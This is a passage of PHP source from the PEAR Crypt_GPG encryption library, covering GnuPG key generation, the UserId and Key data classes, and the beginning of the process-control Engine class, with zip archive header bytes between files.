    public function setSubKeyParams($algorithm, $size = 0, $usage = 0)
    {
        $algorithm = intval($algorithm);

        if ($size != 0) {
            $size = intval($size);
        }

        if ($usage != 0) {
            $usage = intval($usage);
        }

        $usageSign = Crypt_GPG_SubKey::USAGE_SIGN;

        if ($algorithm === Crypt_GPG_SubKey::ALGORITHM_ELGAMAL_ENC
            && ($usage & $usageSign) === $usageSign
        ) {
            throw new Crypt_GPG_InvalidKeyParamsException(
                'The Elgamal algorithm is not capable of signing. Please ' .
                'specify a different algorithm or do not include signing ' .
                'as a usage for the sub-key.',
                0,
                $algorithm,
                $size,
                $usage
            );
        }

        $usageEncrypt = Crypt_GPG_SubKey::USAGE_ENCRYPT;

        if ($algorithm === Crypt_GPG_SubKey::ALGORITHM_DSA
            && ($usage & $usageEncrypt) === $usageEncrypt
        ) {
            throw new Crypt_GPG_InvalidKeyParamsException(
                'The DSA algorithm is not capable of encrypting. Please ' .
                'specify a different algorithm or do not include encryption ' .
                'as a usage for the sub-key.',
                0,
                $algorithm,
                $size,
                $usage
            );
        }

        $this->subKeyAlgorithm = $algorithm;

        if ($size != 0) {
            $this->subKeySize = $size;
        }

        if ($usage != 0) {
            $this->subKeyUsage = $usage;
        }

        return $this;
    }

    /**
     * Generates a new key-pair in the current keyring
     *
     * Secure key generation requires true random numbers, and as such can be
     * solw. If the operating system runs out of entropy, key generation will
     * block until more entropy is available.
     *
     * If quick key generation is important, a hardware entropy generator, or
     * an entropy gathering daemon may be installed. For example,
     * administrators of Debian systems may want to install the 'randomsound'
     * package.
     *
     * @param string|Crypt_GPG_UserId $name    either a {@link Crypt_GPG_UserId}
     *                                         object, or a string containing
     *                                         the name of the user id.
     * @param string                  $email   optional. If <i>$name</i> is
     *                                         specified as a string, this is
     *                                         the email address of the user id.
     * @param string                  $comment optional. If <i>$name</i> is
     *                                         specified as a string, this is
     *                                         the comment of the user id.
     *
     * @return Crypt_GPG_Key the newly generated key.
     *
     * @throws Crypt_GPG_KeyNotCreatedException if the key parameters are
     *         incorrect, if an unknown error occurs during key generation, or
     *         if the newly generated key is not found in the keyring.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     */
    public function generateKey($name, $email = '', $comment = '')
    {
        $handle = uniqid('key', true);

        $userId = $this->getUserId($name, $email, $comment);

        $keyParams = array(
            'Key-Type'      => $this->keyAlgorithm,
            'Key-Length'    => $this->keySize,
            'Key-Usage'     => $this->getUsage($this->keyUsage),
            'Subkey-Type'   => $this->subKeyAlgorithm,
            'Subkey-Length' => $this->subKeySize,
            'Subkey-Usage'  => $this->getUsage($this->subKeyUsage),
            'Handle'        => $handle,
        );

        if ($this->expirationDate != 0) {
            // GnuPG only accepts granularity of days
            $expirationDate = date('Y-m-d', $this->expirationDate);
            $keyParams['Expire-Date'] = $expirationDate;
        }

        if (strlen($this->passphrase)) {
            $keyParams['Passphrase'] = $this->passphrase;
        }

        $name    = $userId->getName();
        $email   = $userId->getEmail();
        $comment = $userId->getComment();

        if (strlen($name) > 0) {
            $keyParams['Name-Real'] = $name;
        }

        if (strlen($email) > 0) {
            $keyParams['Name-Email'] = $email;
        }

        if (strlen($comment) > 0) {
            $keyParams['Name-Comment'] = $comment;
        }

        $keyParamsFormatted = array();
        foreach ($keyParams as $name => $value) {
            $keyParamsFormatted[] = $name . ': ' . $value;
        }

        // This is required in GnuPG 2.1
        if (!strlen($this->passphrase)) {
            $keyParamsFormatted[] = '%no-protection';
        }

        $input = implode("\n", $keyParamsFormatted) . "\n%commit\n";

        $this->engine->reset();
        $this->engine->setProcessData('Handle', $handle);
        $this->engine->setInput($input);
        $this->engine->setOutput($output);
        $this->engine->setOperation('--gen-key', array('--batch'));

        try {
            $this->engine->run();
        } catch (Crypt_GPG_InvalidKeyParamsException $e) {
            switch ($this->engine->getProcessData('LineNumber')) {
            case 1:
                throw new Crypt_GPG_InvalidKeyParamsException(
                    'Invalid primary key algorithm specified.',
                    0,
                    $this->keyAlgorithm,
                    $this->keySize,
                    $this->keyUsage
                );
            case 4:
                throw new Crypt_GPG_InvalidKeyParamsException(
                    'Invalid sub-key algorithm specified.',
                    0,
                    $this->subKeyAlgorithm,
                    $this->subKeySize,
                    $this->subKeyUsage
                );
            default:
                throw $e;
            }
        }

        $fingerprint = $this->engine->getProcessData('KeyCreated');
        $keys        = $this->_getKeys($fingerprint);

        if (count($keys) === 0) {
            throw new Crypt_GPG_KeyNotCreatedException(
                sprintf(
                    'Newly created key "%s" not found in keyring.',
                    $fingerprint
                )
            );
        }

        return $keys[0];
    }

    /**
     * Builds a GnuPG key usage string suitable for key generation
     *
     * See <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG distribution} for detailed
     * information on the key usage format.
     *
     * @param int $usage A bitwise combination of the key usages. This is
     *                   a combination of the Crypt_GPG_SubKey::USAGE_*
     *                   constants.
     *
     * @return string The key usage string.
     */
    protected function getUsage($usage)
    {
        $map = array(
            Crypt_GPG_SubKey::USAGE_ENCRYPT        => 'encrypt',
            Crypt_GPG_SubKey::USAGE_SIGN           => 'sign',
            Crypt_GPG_SubKey::USAGE_CERTIFY        => 'cert',
            Crypt_GPG_SubKey::USAGE_AUTHENTICATION => 'auth',
        );

        // cert is always used for primary keys and does not need to be
        // specified
        $usage &= ~Crypt_GPG_SubKey::USAGE_CERTIFY;

        $usageArray = array();

        foreach ($map as $key => $value) {
            if (($usage & $key) === $key) {
                $usageArray[] = $value;
            }
        }

        return implode(',', $usageArray);
    }

    /**
     * Gets a user id object from parameters
     *
     * @param string|Crypt_GPG_UserId $name    either a {@link Crypt_GPG_UserId}
     *                                         object, or a string containing
     *                                         the name of the user id.
     * @param string                  $email   optional. If <i>$name</i> is
     *                                         specified as a string, this is
     *                                         the email address of the user id.
     * @param string                  $comment optional. If <i>$name</i> is
     *                                         specified as a string, this is
     *                                         the comment of the user id.
     *
     * @return Crypt_GPG_UserId a user id object for the specified parameters.
     */
    protected function getUserId($name, $email = '', $comment = '')
    {
        if ($name instanceof Crypt_GPG_UserId) {
            $userId = $name;
        } else {
            $userId = new Crypt_GPG_UserId();
            $userId->setName($name)->setEmail($email)->setComment($comment);
        }

        return $userId;
    }
}
PK
h�\�J�ڠ#�#*vendor/pear/crypt_gpg/Crypt/GPG/UserId.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Contains a data class representing a GPG user id
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * A class for GPG user id information
 *
 * This class is used to store the results of the {@link Crypt_GPG::getKeys()}
 * method. User id objects are members of a {@link Crypt_GPG_Key} object.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @see       Crypt_GPG::getKeys()
 * @see       Crypt_GPG_Key::getUserIds()
 */
class Crypt_GPG_UserId
{
    /**
     * The name field of this user id
     *
     * @var string
     */
    private $_name = '';

    /**
     * The comment field of this user id
     *
     * @var string
     */
    private $_comment = '';

    /**
     * The email field of this user id
     *
     * @var string
     */
    private $_email = '';

    /**
     * Whether or not this user id is revoked
     *
     * @var bool
     */
    private $_isRevoked = false;

    /**
     * Whether or not this user id is valid
     *
     * @var bool
     */
    private $_isValid = true;

    /**
     * Creates a new user id
     *
     * User ids can be initialized from an array of named values. Available
     * names are:
     *
     * - <kbd>string  name</kbd>    - the name field of the user id.
     * - <kbd>string  comment</kbd> - the comment field of the user id.
     * - <kbd>string  email</kbd>   - the email field of the user id.
     * - <kbd>bool    valid</kbd>   - whether or not the user id is valid.
     * - <kbd>bool    revoked</kbd> - whether or not the user id is revoked.
     *
     * @param Crypt_GPG_UserId|string|array|null $userId Either an existing user id object,
     *                                                   which is copied; a user id string,
     *                                                   which is parsed; or an array of
     *                                                   initial values.
     */
    public function __construct($userId = null)
    {
        // parse from string
        if (is_string($userId)) {
            $userId = self::parse($userId);
        }

        // copy from object
        if ($userId instanceof Crypt_GPG_UserId) {
            $this->_name      = $userId->_name;
            $this->_comment   = $userId->_comment;
            $this->_email     = $userId->_email;
            $this->_isRevoked = $userId->_isRevoked;
            $this->_isValid   = $userId->_isValid;
        }

        // initialize from array
        if (is_array($userId)) {
            if (array_key_exists('name', $userId)) {
                $this->setName($userId['name']);
            }

            if (array_key_exists('comment', $userId)) {
                $this->setComment($userId['comment']);
            }

            if (array_key_exists('email', $userId)) {
                $this->setEmail($userId['email']);
            }

            if (array_key_exists('revoked', $userId)) {
                $this->setRevoked($userId['revoked']);
            }

            if (array_key_exists('valid', $userId)) {
                $this->setValid($userId['valid']);
            }
        }
    }

    /**
     * Gets the name field of this user id
     *
     * @return string the name field of this user id.
     */
    public function getName()
    {
        return $this->_name;
    }

    /**
     * Gets the comments field of this user id
     *
     * @return string the comments field of this user id.
     */
    public function getComment()
    {
        return $this->_comment;
    }

    /**
     * Gets the email field of this user id
     *
     * @return string the email field of this user id.
     */
    public function getEmail()
    {
        return $this->_email;
    }

    /**
     * Gets whether or not this user id is revoked
     *
     * @return bool True if this user id is revoked and false if it is not.
     */
    public function isRevoked()
    {
        return $this->_isRevoked;
    }

    /**
     * Gets whether or not this user id is valid
     *
     * @return bool True if this user id is valid and false if it is not.
     */
    public function isValid()
    {
        return $this->_isValid;
    }

    /**
     * Gets a string representation of this user id
     *
     * The string is formatted as:
     * <b><kbd>name (comment) <email-address></kbd></b>.
     *
     * @return string a string representation of this user id.
     */
    public function __toString()
    {
        $components = array();

        if (mb_strlen($this->_name, '8bit') > 0) {
            $components[] = $this->_name;
        }

        if (mb_strlen($this->_comment, '8bit') > 0) {
            $components[] = '(' . $this->_comment . ')';
        }

        if (mb_strlen($this->_email, '8bit') > 0) {
            $components[] = '<' . $this->_email. '>';
        }

        return implode(' ', $components);
    }

    /**
     * Sets the name field of this user id
     *
     * @param string $name the name field of this user id.
     *
     * @return Crypt_GPG_UserId the current object, for fluent interface.
     */
    public function setName($name)
    {
        $this->_name = strval($name);
        return $this;
    }

    /**
     * Sets the comment field of this user id
     *
     * @param string $comment the comment field of this user id.
     *
     * @return Crypt_GPG_UserId the current object, for fluent interface.
     */
    public function setComment($comment)
    {
        $this->_comment = strval($comment);
        return $this;
    }

    /**
     * Sets the email field of this user id
     *
     * @param string $email the email field of this user id.
     *
     * @return Crypt_GPG_UserId the current object, for fluent interface.
     */
    public function setEmail($email)
    {
        $this->_email = strval($email);
        return $this;
    }

    /**
     * Sets whether or not this user id is revoked
     *
     * @param bool $isRevoked Whether or not this user id is revoked.
     *
     * @return Crypt_GPG_UserId The current object, for fluent interface.
     */
    public function setRevoked($isRevoked)
    {
        $this->_isRevoked = ($isRevoked) ? true : false;
        return $this;
    }

    /**
     * Sets whether or not this user id is valid
     *
     * @param bool $isValid Whether or not this user id is valid.
     *
     * @return Crypt_GPG_UserId The current object, for fluent interface.
     */
    public function setValid($isValid)
    {
        $this->_isValid = ($isValid) ? true : false;
        return $this;
    }

    /**
     * Parses a user id object from a user id string
     *
     * A user id string is of the form:
     * <b><kbd>name (comment) <email-address></kbd></b> with the <i>comment</i>
     * and <i>email-address</i> fields being optional.
     *
     * @param string $string the user id string to parse.
     *
     * @return Crypt_GPG_UserId the user id object parsed from the string.
     */
    public static function parse($string)
    {
        $userId  = new Crypt_GPG_UserId();
        $name    = '';
        $email   = '';
        $comment = '';

        // get email address from end of string if it exists
        $matches = array();
        if (preg_match('/^(.*?)<([^>]+)>$/', $string, $matches) === 1) {
            $string = trim($matches[1]);
            $email  = $matches[2];
        }

        // get comment from end of string if it exists
        $matches = array();
        if (preg_match('/^(.+?) \(([^\)]+)\)$/', $string, $matches) === 1) {
            $string  = $matches[1];
            $comment = $matches[2];
        }

        // there can be an email without a name
        if (!$email && preg_match('/^[\S]+@[\S]+$/', $string, $matches) === 1) {
            $email = $string;
        } else {
            $name = $string;
        }

        $userId->setName($name);
        $userId->setComment($comment);
        $userId->setEmail($email);

        return $userId;
    }
}
PK
h�\ֈ�m��'vendor/pear/crypt_gpg/Crypt/GPG/Key.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Contains a class representing GPG keys
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 */

/**
 * Sub-key class definition
 */
require_once 'Crypt/GPG/SubKey.php';

/**
 * User id class definition
 */
require_once 'Crypt/GPG/UserId.php';

/**
 * A data class for GPG key information
 *
 * This class is used to store the results of the {@link Crypt_GPG::getKeys()}
 * method.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2008-2010 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @see       Crypt_GPG::getKeys()
 */
class Crypt_GPG_Key
{
    /**
     * The user ids associated with this key
     *
     * This is an array of {@link Crypt_GPG_UserId} objects.
     *
     * @var array<Crypt_GPG_UserId>
     *
     * @see Crypt_GPG_Key::addUserId()
     * @see Crypt_GPG_Key::getUserIds()
     */
    private $_userIds = array();

    /**
     * The subkeys of this key
     *
     * This is an array of {@link Crypt_GPG_SubKey} objects.
     *
     * @var array<Crypt_GPG_SubKey>
     *
     * @see Crypt_GPG_Key::addSubKey()
     * @see Crypt_GPG_Key::getSubKeys()
     */
    private $_subKeys = array();

    /**
     * Gets the sub-keys of this key
     *
     * @return array<Crypt_GPG_SubKey> the sub-keys of this key.
     *
     * @see Crypt_GPG_Key::addSubKey()
     */
    public function getSubKeys()
    {
        return $this->_subKeys;
    }

    /**
     * Gets the user ids of this key
     *
     * @return array<Crypt_GPG_UserId> the user ids of this key.
     *
     * @see Crypt_GPG_Key::addUserId()
     */
    public function getUserIds()
    {
        return $this->_userIds;
    }

    /**
     * Gets the primary sub-key of this key
     *
     * The primary key is the first added sub-key.
     *
     * @return Crypt_GPG_SubKey the primary sub-key of this key.
     */
    public function getPrimaryKey()
    {
        $primary_key = null;
        if (count($this->_subKeys) > 0) {
            $primary_key = $this->_subKeys[0];
        }
        return $primary_key;
    }

    /**
     * Gets whether or not this key can sign data
     *
     * This key can sign data if any sub-key of this key can sign data.
     *
     * @return bool True if this key can sign data and false if this key
     *              cannot sign data.
     */
    public function canSign()
    {
        $canSign = false;
        foreach ($this->_subKeys as $subKey) {
            if ($subKey->canSign()) {
                $canSign = true;
                break;
            }
        }
        return $canSign;
    }

    /**
     * Gets whether or not this key can encrypt data
     *
     * This key can encrypt data if any sub-key of this key can encrypt data.
     *
     * @return bool True if this key can encrypt data and false if this
     *              key cannot encrypt data.
     */
    public function canEncrypt()
    {
        $canEncrypt = false;
        foreach ($this->_subKeys as $subKey) {
            if ($subKey->canEncrypt()) {
                $canEncrypt = true;
                break;
            }
        }
        return $canEncrypt;
    }

    /**
     * Adds a sub-key to this key
     *
     * The first added sub-key will be the primary key of this key.
     *
     * @param Crypt_GPG_SubKey $subKey the sub-key to add.
     *
     * @return Crypt_GPG_Key the current object, for fluent interface.
     */
    public function addSubKey(Crypt_GPG_SubKey $subKey)
    {
        $this->_subKeys[] = $subKey;
        return $this;
    }

    /**
     * Adds a user id to this key
     *
     * @param Crypt_GPG_UserId $userId the user id to add.
     *
     * @return Crypt_GPG_Key the current object, for fluent interface.
     */
    public function addUserId(Crypt_GPG_UserId $userId)
    {
        $this->_userIds[] = $userId;
        return $this;
    }

    /**
     * String representation of the key
     *
     * @return string The key ID.
     */
    public function __toString()
    {
        foreach ($this->_subKeys as $subKey) {
            if ($id = $subKey->getId()) {
                return $id;
            }
        }

        return '';
    }
}
PK
h�\4]r��*vendor/pear/crypt_gpg/Crypt/GPG/Engine.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Crypt_GPG is a package to use GPG from PHP
 *
 * This file contains an engine that handles GPG subprocess control and I/O.
 * PHP's process manipulation functions are used to handle the GPG subprocess.
 *
 * LICENSE:
 *
 * This library is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of the
 * License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, see
 * <http://www.gnu.org/licenses/>
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */

/**
 * Crypt_GPG base class.
 */
require_once 'Crypt/GPG.php';

/**
 * GPG exception classes.
 */
require_once 'Crypt/GPG/Exceptions.php';

/**
 * Status/Error handler class.
 */
require_once 'Crypt/GPG/ProcessHandler.php';

/**
 * Process control methods.
 */
require_once 'Crypt/GPG/ProcessControl.php';

/**
 * Information about a created signature
 */
require_once 'Crypt/GPG/SignatureCreationInfo.php';

/**
 * Standard PEAR exception is used if GPG binary is not found.
 */
require_once 'PEAR/Exception.php';

/**
 * Native PHP Crypt_GPG I/O engine
 *
 * This class is used internally by Crypt_GPG and does not need be used
 * directly. See the {@link Crypt_GPG} class for end-user API.
 *
 * This engine uses PHP's native process control functions to directly control
 * the GPG process. The GPG executable is required to be on the system.
 *
 * All data is passed to the GPG subprocess using file descriptors. This is the
 * most secure method of passing data to the GPG subprocess.
 *
 * @category  Encryption
 * @package   Crypt_GPG
 * @author    Nathan Fredrickson <nathan@silverorange.com>
 * @author    Michael Gauthier <mike@silverorange.com>
 * @copyright 2005-2013 silverorange
 * @license   http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
 * @link      http://pear.php.net/package/Crypt_GPG
 * @link      http://www.gnupg.org/
 */
class Crypt_GPG_Engine
{
    /**
     * Size of data chunks that are sent to and retrieved from the IPC pipes.
     *
     * The value of 65536 has been chosen empirically
     * as the one with best performance.
     *
     * @see https://pear.php.net/bugs/bug.php?id=21077
     */
    const CHUNK_SIZE = 65536;

    /**
     * Standard input file descriptor. This is used to pass data to the GPG
     * process.
     */
    const FD_INPUT = 0;

    /**
     * Standard output file descriptor. This is used to receive normal output
     * from the GPG process.
     */
    const FD_OUTPUT = 1;

    /**
     * Standard output file descriptor. This is used to receive error output
     * from the GPG process.
     */
    const FD_ERROR = 2;

    /**
     * GPG status output file descriptor. The status file descriptor outputs
     * detailed information for many GPG commands. See the second section of
     * the file <b>doc/DETAILS</b> in the
     * {@link http://www.gnupg.org/download/ GPG package} for a detailed
     * description of GPG's status output.
     */
    const FD_STATUS = 3;

    /**
     * Command input file descriptor. This is used for methods requiring
     * passphrases.
     */
    const FD_COMMAND = 4;

    /**
     * Extra message input file descriptor. This is used for passing signed
     * data when verifying a detached signature.
     */
    const FD_MESSAGE = 5;

    /**
     * Minimum version of GnuPG that is supported.
     */
    const MIN_VERSION = '1.0.2';

    /**
     * Whether or not to use strict mode
     *
     * When set to true, any clock problems (e.g. keys generate in future)
     * are errors, otherwise they are just warnings.
     *
     * Strict mode is disabled by default.
     *
     * @var bool
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_strict = false;

    /**
     * Whether or not to use debugging mode
     *
     * When set to true, every GPG command is echoed before it is run. Sensitive
     * data is always handled using pipes and is not specified as part of the
     * command. As a result, sensitive data is never displayed when debug is
     * enabled. Sensitive data includes private key data and passphrases.
     *
     * This can be set to a callable function where first argument is the
     * debug line to process.
     *
     * Debugging is off by default.
     *
     * @var mixed
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_debug = false;

    /**
     * Location of GPG binary
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     * @see Crypt_GPG_Engine::_getBinary()
     */
    private $_binary = '';

    /**
     * Location of GnuPG agent binary
     *
     * Only used for GnuPG 2.x
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     * @see Crypt_GPG_Engine::_getAgent()
     */
    private $_agent = '';

    /**
     * Location of GnuPG conf binary
     *
     * Only used for GnuPG 2.1.x
     *
     * @var string|false|null
     * @see Crypt_GPG_Engine::__construct()
     * @see Crypt_GPG_Engine::_getGPGConf()
     */
    private $_gpgconf = null;

    /**
     * Directory containing the GPG key files
     *
     * This property only contains the path when the <i>homedir</i> option
     * is specified in the constructor.
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_homedir = '';

    /**
     * File path of the public keyring
     *
     * This property only contains the file path when the <i>public_keyring</i>
     * option is specified in the constructor.
     *
     * If the specified file path starts with <kbd>~/</kbd>, the path is
     * relative to the <i>homedir</i> if specified, otherwise to
     * <kbd>~/.gnupg</kbd>.
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_publicKeyring = '';

    /**
     * File path of the private (secret) keyring
     *
     * This property only contains the file path when the <i>private_keyring</i>
     * option is specified in the constructor.
     *
     * If the specified file path starts with <kbd>~/</kbd>, the path is
     * relative to the <i>homedir</i> if specified, otherwise to
     * <kbd>~/.gnupg</kbd>.
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_privateKeyring = '';

    /**
     * File path of the trust database
     *
     * This property only contains the file path when the <i>trust_db</i>
     * option is specified in the constructor.
     *
     * If the specified file path starts with <kbd>~/</kbd>, the path is
     * relative to the <i>homedir</i> if specified, otherwise to
     * <kbd>~/.gnupg</kbd>.
     *
     * @var string
     * @see Crypt_GPG_Engine::__construct()
     */
    private $_trustDb = '';

    /**
     * Array of pipes used for communication with the GPG binary
     *
     * This is an array of file descriptor resources.
     *
     * @var array
     */
    private $_pipes = array();

    /**
     * Array of pipes used for communication with the gpg-agent binary
     *
     * This is an array of file descriptor resources.
     *
     * @var array
     */
    private $_agentPipes = array();

    /**
     * Array of currently opened pipes
     *
     * This array is used to keep track of remaining opened pipes so they can
     * be closed when the GPG subprocess is finished. This array is a subset of
     * the {@link Crypt_GPG_Engine::$_pipes} array and contains opened file
     * descriptor resources.
     *
     * @var array
     * @see Crypt_GPG_Engine::_closePipe()
     */
    private $_openPipes = array();

    /**
     * A handle for the GPG process
     *
     * @var resource|null
     */
    private $_process = null;

    /**
     * A handle for the gpg-agent process
     *
     * @var resource|null
     */
    private $_agentProcess = null;

    /**
     * GPG agent daemon socket and PID for running gpg-agent
     *
     * @var string|null
     */
    private $_agentInfo = null;

    /**
     * Whether or not the operating system is Darwin (OS X)
     *
     * @var bool
     */
    private $_isDarwin = false;

    /**
     * Message digest algorithm.
     *
     * @var string
     */
    private $_digest_algo = null;

    /**
     * Symmetric cipher algorithm.
     *
     * @var string
     */
    private $_cipher_algo = null;

    /**
     * Compress algorithm.
     *
     * @var string
     */
    private $_compress_algo = null;

    /**
     * Additional per-command arguments
     *
     * @var array
     */
    private $_options = array();

    /**
     * Commands to be sent to GPG's command input stream
     *
     * @var string
     * @see Crypt_GPG_Engine::sendCommand()
     */
    private $_commandBuffer = '';

    /**
     * A status/error handler
     *
     * @var Crypt_GPG_ProcessHandler|null
     */
    private $_processHandler = null;

    /**
     * Array of status line handlers
     *
     * @var array
     * @see Crypt_GPG_Engine::addStatusHandler()
     */
    private $_statusHandlers = array();

    /**
     * Array of error line handlers
     *
     * @var array
     * @see Crypt_GPG_Engine::addErrorHandler()
     */
    private $_errorHandlers = array();

    /**
     * The input source
     *
     * This is data to send to GPG. Either a string or a stream resource.
     *
     * @var string|resource|null
     * @see Crypt_GPG_Engine::setInput()
     */
    private $_input = null;

    /**
     * The extra message input source
     *
     * Either a string or a stream resource.
     *
     * @var string|resource|null
     * @see Crypt_GPG_Engine::setMessage()
     */
    private $_message = null;

    /**
     * The output location
     *
     * This is where the output from GPG is sent. Either a string or a stream
     * resource.
     *
     * @var string|resource
     * @see Crypt_GPG_Engine::setOutput()
     */
    private $_output = '';

    /**
     * The GPG operation to execute
     *
     * @var string
     * @see Crypt_GPG_Engine::setOperation()
     */
    private $_operation;

    /**
     * Arguments for the current operation
     *
     * @var array
     * @see Crypt_GPG_Engine::setOperation()
     */
    private $_arguments = array();

    /**
     * The version number of the GPG binary
     *
     * @var string
     * @see Crypt_GPG_Engine::getVersion()
     */
    private $_version = '';

    /**
     * Creates a new GPG engine
     *
     * @param array $options An array of options used to create the engine object.
     *                       All options are optional and are represented as key-value
     *                       pairs. See Crypt_GPGAbstract::__construct() for more info.
     *
     * @throws Crypt_GPG_FileException if the <kbd>homedir</kbd> does not exist
     *         and cannot be created. This can happen if <kbd>homedir</kbd> is
     *         not specified, Crypt_GPG is run as the web user, and the web
     *         user has no home directory. This exception is also thrown if any
     *         of the options <kbd>publicKeyring</kbd>,
     *         <kbd>privateKeyring</kbd> or <kbd>trustDb</kbd> options are
     *         specified but the files do not exist or are are not readable.
     *         This can happen if the user running the Crypt_GPG process (for
     *         example, the Apache user) does not have permission to read the
     *         files.
     *
     * @throws PEAR_Exception if the provided <kbd>binary</kbd> is invalid, or
     *         if no <kbd>binary</kbd> is provided and no suitable binary could
     *         be found.
     *
     * @throws PEAR_Exception if the provided <kbd>agent</kbd> is invalid, or
     *         if no <kbd>agent</kbd> is provided and no suitable gpg-agent
     *         could be found.
     */
    public function __construct(array $options = array())
    {
        $this->_isDarwin = (strncmp(strtoupper(PHP_OS), 'DARWIN', 6) === 0);

        // get homedir
        if (array_key_exists('homedir', $options)) {
            $this->_homedir = (string)$options['homedir'];
        } else {
            if (extension_loaded('posix')) {
                // note: this requires the package OS dep exclude 'windows'
                $info = posix_getpwuid(posix_getuid());
                $this->_homedir = $info['dir'].'/.gnupg';
            } else {
                if (isset($_SERVER['HOME'])) {
                    $this->_homedir = $_SERVER['HOME'];
                } else {
                    $this->_homedir = getenv('HOME');
                }
            }

            if ($this->_homedir === false) {
                throw new Crypt_GPG_FileException(
                    'Could not locate homedir. Please specify the homedir ' .
                    'to use with the \'homedir\' option when instantiating ' .
                    'the Crypt_GPG object.'
                );
            }
        }

        // attempt to create homedir if it does not exist
        if (!is_dir($this->_homedir)) {
            if (@mkdir($this->_homedir, 0777, true)) {
                // Set permissions on homedir. Parent directories are created
                // with 0777, homedir is set to 0700.
                chmod($this->_homedir, 0700);
            } else {
                throw new Crypt_GPG_FileException(
                    'The \'homedir\' "' . $this->_homedir . '" is not ' .
                    'readable or does not exist and cannot be created. This ' .
                    'can happen if \'homedir\' is not specified in the ' .
                    'Crypt_GPG options, Crypt_GPG is run as the web user, ' .
                    'and the web user has no home directory.',
                    0,
                    $this->_homedir
                );
            }
        }

        // check homedir permissions (See Bug #19833)
        if (!is_executable($this->_homedir)) {
            throw new Crypt_GPG_FileException(
                'The \'homedir\' "' . $this->_homedir . '" is not enterable ' .
                'by the current user. Please check the permissions on your ' .
                'homedir and make sure the current user can both enter and ' .
                'write to the directory.',
                0,
                $this->_homedir
            );
        }
        if (!is_writeable($this->_homedir)) {
            throw new Crypt_GPG_FileException(
                'The \'homedir\' "' . $this->_homedir . '" is not writable ' .
                'by the current user. Please check the permissions on your ' .
                'homedir and make sure the current user can both enter and ' .
                'write to the directory.',
                0,
                $this->_homedir
            );
        }

        // get binary
        if (array_key_exists('binary', $options)) {
            $this->_binary = (string)$options['binary'];
        } elseif (array_key_exists('gpgBinary', $options)) {
            // deprecated alias
            $this->_binary = (string)$options['gpgBinary'];
        } else {
            $this->_binary = $this->_getBinary();
        }

        if ($this->_binary == '' || !is_executable($this->_binary)) {
            throw new PEAR_Exception(
                'GPG binary not found. If you are sure the GPG binary is ' .
                'installed, please specify the location of the GPG binary ' .
                'using the \'binary\' driver option.'
            );
        }

        // get agent
        if (array_key_exists('agent', $options)) {
            $this->_agent = (string)$options['agent'];

            if ($this->_agent && !is_executable($this->_agent)) {
                throw new PEAR_Exception(
                    'Specified gpg-agent binary is not executable.'
                );
            }
        } else {
            $this->_agent = $this->_getAgent();
        }

        if (array_key_exists('gpgconf', $options)) {
            $this->_gpgconf = $options['gpgconf'];

